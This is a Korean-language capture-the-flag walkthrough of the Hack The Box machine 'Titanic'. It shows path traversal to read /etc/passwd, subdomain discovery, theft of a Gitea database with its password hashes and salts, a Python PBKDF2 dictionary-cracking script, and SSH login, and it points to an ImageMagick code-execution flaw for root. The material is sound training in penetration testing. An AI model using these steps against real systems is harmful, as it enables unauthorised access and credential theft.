[HTB] Titanic

1. 정보수집

2. 웹서비스 파일 다운로드 취약점 확인 및 /etc/passwd 다운로드

3. 웹서비스 서브도메인 정보수집 및 Gitea 서비스 데이터베이스 다운로드

4. DB user 테이블 계정 비밀번호 크랙 및 SSH 접속 시도

5. 스크립트 구문에서 magick 관리자 권한으로 실행 확인 및 취약점 이용

 

 

1. 외부정보수집

nmap 후 80포트에서 웹서비스가 동작함을 확인했다.

80 Apache httpd 2.4.52

2.서비스정보수집

서비스의 취약점 정보를 수집하였으나 확인된 사항은 없다(apache 2.4.52)

 

3.웹서비스정보수집

웹 서비스의 기능을 확인하여 서버로 침투 포인트를 탐색한다. 해당 사이트는 웹사이트에서 예약할 수 있는 기능을 제공한다.

 

[예약기능]

동작확인

1. 정보 기입 후 Submit을 누르면 POST로 정보를 서버에서 보낸다.

2. 서버는 302 리다이렉션 응답을 보내오며 서버정보 "Werkzeug/3.0.3 Python/3.10.12"를 포함하여 응답을 한다.

POST 정보

3. Redirection 후 GET 요청을 보내어 Response Header에 Content-Disposition: attachment; filename="파일명"를 지정하여 파일을 다운받도록 브라우저가 파일을 다운로드 받게한다.

 

 

시나리오

1. 예약정보 간  서버의 버전에 따른 취약점 시도

ChatGPT

해당 서비스의 Response Header에 명시된 정보에 따르면 취약점은 없는 것으로 확인되었다.

2. 다운로드 기능을 통한 취약점 시도

Burp Suite

Burp Suite로 해당 Request 패킷을 Repeater로 보내서 취약점 테스트 진행하기로 결정 정상적인 응답은 위와 같다.

 

기본적인 Path Traversal 취약점 시도

/etc/passwd 파일 획득

취약점 시도 결과 /etc/passwd 파일 정보 획득 가능 / 보통 주요정보통신 기반시설 웹취약점 점검 항목에서는 다운로드 취약점으로 여기까지만 수행하나 레드팀의 입장에서 침투 시나리오까지 진행을 더 해보겠다.

 

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
developer:x:1000:1000:developer:/home/developer:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false

/etc/passwd 파일에서 사용자명 및 로그인 가능한 계정을 확인할 수 있으며 로그인이 가능한 계정은 아래 2개로 확인이 된다.

root:x:0:0:root:/root:/bin/bash
developer:x:1000:1000:developer:/home/developer:/bin/bash

 

해시크랙을 위한 /etc/shadow 다운로드 시도

/etc/passwd는 다운로드되나 /etc/shadow는 안되는 것으로 보아 웹방화벽의 설정누락으로 인한 것으로 보인다

 

URL 인코딩으로 우회 시도하였으나 막힌다.

 

 

심볼릭 링크로 파일 불러오기를 시도하였지만 명령어가 실행되지 않았다.

 

아파치 설정파일을 통하여 추가정보 확인을 시도했으나 별 내용은 없었으며 환경변수를 추가적으로 진행을 했다.

아파치 환경변수 파일에서 계정 www-data로 실행됨을 확인했다. 기본적인 사항으로 별 특이사항은 없었다.

error 및 access.log 파일에서 계정정보 또는 숨겨진 주소를 확인할 수 있을 것으로 요청하였으나 응답에 특이사항은 없었다.

 

크론탭으로 주기적을 실행되는 명령어를 확인하였으나 없었다.

 

기존에 의도대로 설계된 기본적인 유저의 FLAG 정보 획득을 했다.

 

추가적인 사이트를 확인하기 위하여 서브도메인을 찾고자 진행을 하였다. Host 부분을 통하여 하위 도메인을 확인할 수 있다.

서브도메인 탐색을 위한 FFUF 실행하여 dev 도베인 식별 완료 및 /etc/hosts에 저장 후 사이트를 담색 했다.

 

버전컨트롤 중 하나인 Gitea 어플리케이션에 대한 정보를 확인할 수 있었다.

 

서비스에서 발견되는 취약점을 확인하였으나 해당되지 않는 버전이었다.(Gitea 1.22.1)

 

/etc/passwd에서 확인된 존재하는 유저의 gitea의 DB를 얻을 수 있었다.

gitea db 획득하여 sqlite로 검색을 진행 하여 user 테이블을 확인할 수 있었다.

sqlite3 ./gitea.db


# sqlite3 진입 후 콘솔에서 테이블 목록 조회하기
.tables

# user 테이블의 스키마 확인
.schema user

# user의 데이터 확인하기
select * from user;

 

이와 더불어 스키마 및 데이터를 확인하여 해당 계정이 어떻게 암호화 되어있는지 정보를 획득했다.

CREATE TABLE user (
  id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, 
  lower_name TEXT NOT NULL, name TEXT NOT NULL, 
  full_name TEXT NULL, email TEXT NOT NULL, 
  keep_email_private INTEGER NULL, 
  email_notifications_preference TEXT DEFAULT 'enabled' NOT NULL, 
  passwd TEXT NOT NULL, passwd_hash_algo TEXT DEFAULT 'argon2' NOT NULL, 
  must_change_password INTEGER DEFAULT 0 NOT NULL, 
  login_type INTEGER NULL, login_source INTEGER DEFAULT 0 NOT NULL, 
  login_name TEXT NULL, type INTEGER NULL, 
  location TEXT NULL, website TEXT NULL, 
  rands TEXT NULL, salt TEXT NULL, language TEXT NULL, 
  description TEXT NULL, created_unix INTEGER NULL, 
  updated_unix INTEGER NULL, last_login_unix INTEGER NULL, 
  last_repo_visibility INTEGER NULL, 
  max_repo_creation INTEGER DEFAULT -1 NOT NULL, 
  is_active INTEGER NULL, is_admin INTEGER NULL, 
  is_restricted INTEGER DEFAULT 0 NOT NULL, 
  allow_git_hook INTEGER NULL, allow_import_local INTEGER NULL, 
  allow_create_organization INTEGER DEFAULT 1 NULL, 
  prohibit_login INTEGER DEFAULT 0 NOT NULL, 
  avatar TEXT NOT NULL, avatar_email TEXT NOT NULL, 
  use_custom_avatar INTEGER NULL, num_followers INTEGER NULL, 
  num_following INTEGER DEFAULT 0 NOT NULL, 
  num_stars INTEGER NULL, num_repos INTEGER NULL, 
  num_teams INTEGER NULL, num_members INTEGER NULL, 
  visibility INTEGER DEFAULT 0 NOT NULL, 
  repo_admin_change_team_access INTEGER DEFAULT 0 NOT NULL, 
  diff_view_style TEXT DEFAULT '' NOT NULL, 
  theme TEXT DEFAULT '' NOT NULL, keep_activity_private INTEGER DEFAULT 0 NOT NULL
);


2
developer
developer

developer@titanic.htb
0
enabled
e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56
pbkdf2$50000$50
0
0
0

0


0ce6f07fc9b557bc070fa7bef76a0d15
8bf3e3452b78544f8bee9400d6936d34
en-US

1722595646
1722603397
1722603397
0
-1
1
0
0
0
0
1
0
e2d95b7e207e4

 

PBKDF2-HMAC-SHA256 방식으로 해싱된 비밀번호가 저장된 것으로 확인된다.

 

gitea의 DB인 sqlite에 저장된 user 테이블의 계정정보는 아래와 같다. 이 계정정보는 OS의 로그인 정보와 별개로 어플리케이션 사용자 계정일 가능성이 높다. PAM을 사용하여 DB의 사용자 계정을 리눅스 로그인 계정으로 사용 가능하다.

1|administrator|administrator||root@titanic.htb|0|enabled|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136|pbkdf2$50000$50|0|0|0||0|||70a5bd0c1a5d23caa49030172cdcabdc|2d149e5fbd1b20cf31db3e3c6a28fc9b|en-US||1722595379|1722597477|1722597477|0|-1|1|1|0|0|0|1|0|2e1e70639ac6b0eecbdab4a3d19e0f44|root@titanic.htb|0|0|0|0|0|0|0|0|0||gitea-auto|0
2|developer|developer||developer@titanic.htb|0|enabled|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|pbkdf2$50000$50|0|0|0||0|||0ce6f07fc9b557bc070fa7bef76a0d15|8bf3e3452b78544f8bee9400d6936d34|en-US||1722595646|1722603397|1722603397|0|-1|1|0|0|0|0|1|0|e2d95b7e207e432f62f3508be406c11b|developer@titanic.htb|0|0|0|0|2|0|0|0|0||gitea-auto|0

 

참고

1. SQLite의 developer 계정 ≠ 리눅스 SSH 계정 (일반적으로 다름)
2. 리눅스 계정은 시스템 전체에서 SSH, 서비스 실행, 이메일 등 여러 용도로 사용
3. SQLite 계정은 애플리케이션 내에서만 사용되는 경우가 많음
4. 일부 시스템에서는 PAM, LDAP을 통해 DB 계정을 리눅스 계정으로 통합 가능
5. SQLite 계정이 리눅스 계정인지 확인하려면 /etc/passwd, /etc/shadow, DB를 비교하면 됨

👉 즉, 같은 계정일 수도 있지만, 반드시 같지는 않음!
필요에 따라 독립적으로 관리하는 게 보안적으로 더 안전. 🚀

 

해시켓 상 진행하고자 하였으나 개인 경험이 부족하여 소스코드를 통한 해시크랙 진행했다.

HTB-Titanic - HYH

 

import hashlib
import binascii
 
def pbkdf2_hash(password, salt, iterations=50000, dklen=50):
    hash_value = hashlib.pbkdf2_hmac(
        'sha256',
        password.encode('utf-8'),
        salt,
        iterations,
        dklen
    )
    return hash_value
 
def find_matching_password(dictionary_file, target_hash, salt, iterations=50000, dklen=50):
    target_hash_bytes = binascii.unhexlify(target_hash)
    
    with open(dictionary_file, 'r', encoding='utf-8') as file:
        count = 0
        for line in file:
            password = line.strip()
            hash_value = pbkdf2_hash(password, salt, iterations, dklen)
            count += 1
            print(f"正在检查密码 {count}: {password}")
            if hash_value == target_hash_bytes:
                print(f"\nFound password: {password}")
                return password
        print("Password not found.")
        return None
 
salt = binascii.unhexlify('8bf3e3452b78544f8bee9400d6936d34')
target_hash = 'e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56'
dictionary_file = '/usr/share/wordlists/rockyou.txt'
find_matching_password(dictionary_file, target_hash, salt)

 

 

SSH 접속

Sqlite의 user 테이블의 계정 및 복호화된 비밀번호로 로그인 성공했다. 

아울러 /etc/pam.d/sshd를 보면 /etc/passwod 및 /etc/shadow 기반 인증을 사용하고 있으나 SQLite 기반 인증이 아닌데 같은 정보로 SSH 로그인 가능한 이유는 문제 풀이상 적용해놓은 규칙으로 보인다.

암호 해시를 복호화하여 SSH 로그인에 성공한 모습

 

 

머신의 특이한 사항으로 별도의 암기를 통하여 습득해야하는 부분이다.

/opt/scripts 확인하여 동작 로직을 확인한다. 해당서비스는 취약점이 있는 magick를 사용한 것으로 보이며  Exploit 코드를 통하여 root 쉘을 획득할 수 있따.

루트권한으로 실행되는 스크립트

magick 사용 확인

 

magick 확인

 

생각의확장

해당 버전에서는 하기위 취약점이 있다고 한다.

https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8rxc-922v-phg8

Arbitrary Code Execution in `AppImage` version `ImageMagick`